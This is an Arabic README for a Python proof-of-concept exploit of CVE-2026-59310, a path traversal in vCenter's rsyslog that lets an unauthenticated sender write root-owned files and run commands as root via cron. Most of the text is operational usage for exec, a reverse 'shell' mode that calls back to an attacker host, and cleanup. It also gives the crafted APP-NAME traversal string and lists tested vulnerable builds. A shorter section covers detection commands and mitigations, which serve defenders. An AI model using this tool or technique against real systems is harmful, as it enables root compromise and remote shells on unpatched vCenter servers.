
أداة إثبات مفهوم بلغة Python للثغرة CVE-2026-59310: تستغل اجتياز المسار في rsyslog الخاص بـ vCenter لكتابة الملفات وتنفيذ الأوامر بصلاحيات الجذر عبر cron، مع أوضاع الفحص والتنفيذ والصدفة والتنظيف.
English | 中文
نسخة مُحسَّنة (fork) من ChinaRan0/CVE-2026-59310-POC. يتبع تحليل الثغرة الأمنية ذلك المشروع. تعيد هذه الشجرة صياغة العميل والوثائق للاختبار المصرَّح به: أوامر فرعية، ومهمة cron تُنفَّذ مرة واحدة، وصدفة تفاعلية على PTY بعيد.
للاستخدام المصرَّح به فقط. شغِّل هذا فقط ضد الأنظمة التي لديك إذن كتابي صريح باختبارها. أنت مسؤول عن الامتثال للقانون المحلي وعن أي تأثير على الهدف.
| CVE | CVE-2026-59310 |
| Advisory | VMSA-2026-0006 |
| CVSS v3.1 | 9.8 حرج |
| Weakness | اجتياز المسار في vCenter rsyslog ← كتابة ملف عشوائي ← تنفيذ تعليمات برمجية بصلاحيات root |
| Privileges required | لا شيء. يكفي الوصول الشبكي إلى syslog (UDP/TCP 514) |
| Fixed in | 9.0.2.0100 (Build 25629525)، 9.1.0.0300، 8.0 U3k، 8.0 U2f |
| Upstream | ChinaRan0/CVE-2026-59310-POC |
| Upstream | This fork | |
|---|---|---|
| CLI | -c و--lhost و--check على محلِّل واحد | أوامر فرعية check وexec وshell وcleanup |
| Cron | يتكرر كل دقيقة | يحذف ملفه الخاص، ثم يعمل مرة واحدة |
| Quoting | نص الأمر يُدمج في الصدفة | shlex.quote، بحيث لا يمكن لعلامات الاقتباس تقسيم سطر cron |
| Shell | موجه وهمي محلي، سطرًا بسطر | PTY بعيد، وتمرير ضغطات المفاتيح، وألوان بعيدة وإكمال تلقائي بـ Tab |
| Cleanup | طباعة تلميحات rm | يزرع مهمة تُنفَّذ مرة واحدة تزيل الآثار الخاصة بـ --id |
| Listener | مرتبط بـ 0.0.0.0 | يحدِّد --bind العنوان المحلي |
shell إلى python3 على الهدف. يتضمنه vCenter Server Appliance. تستخدم الجلسة pty.spawn بحيث تمتلك الصدفة طرفية حقيقية.python3 exploit.py check <target>
python3 exploit.py exec <target> -c "id; hostname"
python3 exploit.py shell <target> --lhost <callback-ip> --lport 4444
python3 exploit.py cleanup <target> --id <id>
exec وshell يكتبان ملف cron يشغّله crond بعد حوالي 60 ثانية، مرة واحدة. cleanup بدون --id يزيل كل الآثار التي تستخدم البادئة cve59310.
| الخيار | المعنى |
|---|---|
--port | منفذ Syslog. الافتراضي 514. |
--tcp | إرسال syslog عبر TCP بدلاً من UDP. |
--id | معرّف الأثر: من 1 إلى 32 حرفاً، [a-z0-9]. عشوائي عند حذفه. |
-q | كتم اللافتة. |
exec| الخيار | المعنى |
|---|---|
-c / --cmd | الأمر المراد تشغيله. يُوجَّه stdout وstderr المدمجان إلى /tmp/cve59310_<id>.txt. |
--wait | الاستعلام المتكرر حتى يصبح ملف الخرج قابلاً للقراءة، أو حتى انتهاء المهلة. |
--timeout | عدد الثواني لـ --wait. الافتراضي 180. |
--read-command | قالب argv محلي. {path} هو مسار الخرج البعيد. |
يتطلب --wait وجود --read-command، مثل ssh root@target cat {path}. يُقسَّم القالب باستخدام shlex ولا يُمرَّر عبر shell محلي. يُجمَّع أمر مثل a; b على هيئة { a; b; } > file، بحيث يُلتقط كلا الجزأين.
shell| الخيار | المعنى |
|---|---|
--lhost / --lport | العنوان والمنفذ اللذان يتصل بهما الهدف عائداً. المنفذ الافتراضي 4444. |
--bind | عنوان الاستماع المحلي. الافتراضي 0.0.0.0. |
--method {bash,python} | البرنامج الذي يفتح المقبس. الافتراضي bash. يستخدم كلاهما بعد ذلك python3 الخاص بالهدف لتخصيص PTY. |
--timeout | عدد الثواني لانتظار الاتصال العائد. الافتراضي 180. |
تأتي المطالبة والألوان وإكمال Tab من bash الخاص بالهدف. Ctrl+] يغلق الجانب المحلي. exit يخرج من الصدفة البعيدة. شغّل shell في طرفية حقيقية؛ لا يمكن لعميل يعتمد على التخزين المؤقت السطري إكمال العملية.
| الإجراء | المسار |
|---|---|
check | /tmp/cve59310_check_<id>-syslog.log |
exec | /etc/cron.d/cve59310<id>-syslog.log و /tmp/cve59310_<id>.txt |
shell | /etc/cron.d/cve59310<id>-syslog.log، يُزيله المهمة نفسها بعد تشغيلها |
سجّل --id. cleanup <target> --id <id> يحذف تلك الجولة. بدون --id، تحذف مهمة التنظيف البادئة cve59310 بأكملها.
| الهدف | VMware vCenter Server 9.0.2.0، Build 25148086 |
| البنية المُصلحة | 9.0.2.0100، Build 25629525 |
| rsyslog | 8.2306.0-4.ph5 |
| المدخل | UDP/TCP 514، بدون مصادقة |
على تلك البنية، يُنشئ check ملفاً مملوكاً لـ root تحت /tmp، ويُعيد exec مع id النتيجة uid=0(root) بعد حوالي دقيقة، ويعرض shell مطالبة الهدف (root [ / ]#، بما في ذلك ألوانها).
أي إصدار أقدم من البنية المُصلحة في فرعه. يتأثر vCenter المستقل، وكذلك مكوّنات vCenter في VMware Cloud Foundation وvSphere Foundation وTelco Cloud.
| الفرع | المتأثر | المُصلح |
|---|---|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100 (Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 GA / U1 | الكل | الترقية إلى 8.0 U3k أو أحدث |
| 7.0 | يفتقد التصحيح المطابق | احصل على التصحيح من Broadcom، أو انتقل إلى إصدار مدعوم |
يُبلّغ /sdk/vimServiceVersions.xml عن نطاق أسماء API (غالباً 9.0.0.0)، وليس عن بنية الجهاز. تحقّق من البنية عبر /etc/vmware-release و /etc/applmgmt/appliance/version.
يُدرج إعداد rsyslog في vCenter قيمة %app-name% في مسار السجل ويترك $EscapeControlCharactersOnReceive off:
$template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
:app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
يقوم pmrfc3164 باقتطاع APP-NAME عند /. أما pmrfc5424 فلا يفعل ذلك، ومجموعة القواعد الافتراضية تقبل RFC5424. لذلك يُكتب APP-NAME مُصاغ مثل rsyslog/../../../../tmp/x خارج /var/log/vmware/ كملف *-syslog.log مملوك لـ root. ويسمح سطر جديد في جسم الرسالة لسطر cron بالبدء عند العمود 0، فينفّذه crond بصلاحيات root. ينتهي اسم الملف دائمًا بـ -syslog.log، ولهذا يوجد ملف cron تحت /etc/cron.d/ بدلًا من استبدال crontab بلا لاحقة.
| المحلّل | قيمة %app-name% لـ rsyslog/../../../../tmp/x |
|---|---|
| pmrfc3164 | rsyslog |
| pmrfc5424 | rsyslog/../../../../tmp/x |
تصف النشرة الاستشارية للمورّد أيضًا الكتابة تحت /opt/vmware/share/htdocs/ وقراءتها مرة أخرى عبر https://<target>:5480/.
cat /etc/vmware-release
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf
grep -n EscapeControlCharactersOnReceive /etc/rsyslog.conf
find / -name '*-syslog.log' \
-not -path '/var/log/vmware/*' \
-not -path '/storage/log/vmware/*' 2>/dev/null
ls -la /etc/cron.d/ /opt/vmware/share/htdocs/
تُعد ملفات *-syslog.log الموجودة خارج أدلة السجلات، والأدلة التي تحتوي أسماؤها على ..، هي المخلفات المعتادة. إذ ينشئ rsyslog الأدلة الأصلية المفقودة عندما يتجاوز القالب شجرة السجلات.
قم بالترقية. في فرع 9.0، الحد الأدنى للإصدار المُصلَّح هو 9.0.2.0100 (Build 25629525).
إلى حين إجراء تلك الترقية:
pmrfc3164. لا تترك مجموعة القواعد الافتراضية تقبل RFC5424.securepath="normal" وsecpath-drop="replace". يعتبر المشروع الأصلي securepath حدًّا للمسار، وليس مرشّح الشرطة المائلة في المحلّل.$EscapeControlCharactersOnReceive.:app-name, startswith, "rsyslog" بمطابقة تامة، وقيّد كاتبي الملفات الديناميكية حسب شبكة المصدر.إن تفعيل permit.slashesinhostname يجعل قالب %hostname% قابلًا للاجتياز بالطريقة نفسها.
exec --read-command، أو اقرأ المخرجات على الهدف.shell إلى TTY على كلا الطرفين. لا يعمل الإكمال التلقائي عبر عميل أحادي الاتجاه موجّه بالأسطر.check ملفًا. إنه إثبات على الكتابة، وليس فحصًا للقراءة فقط.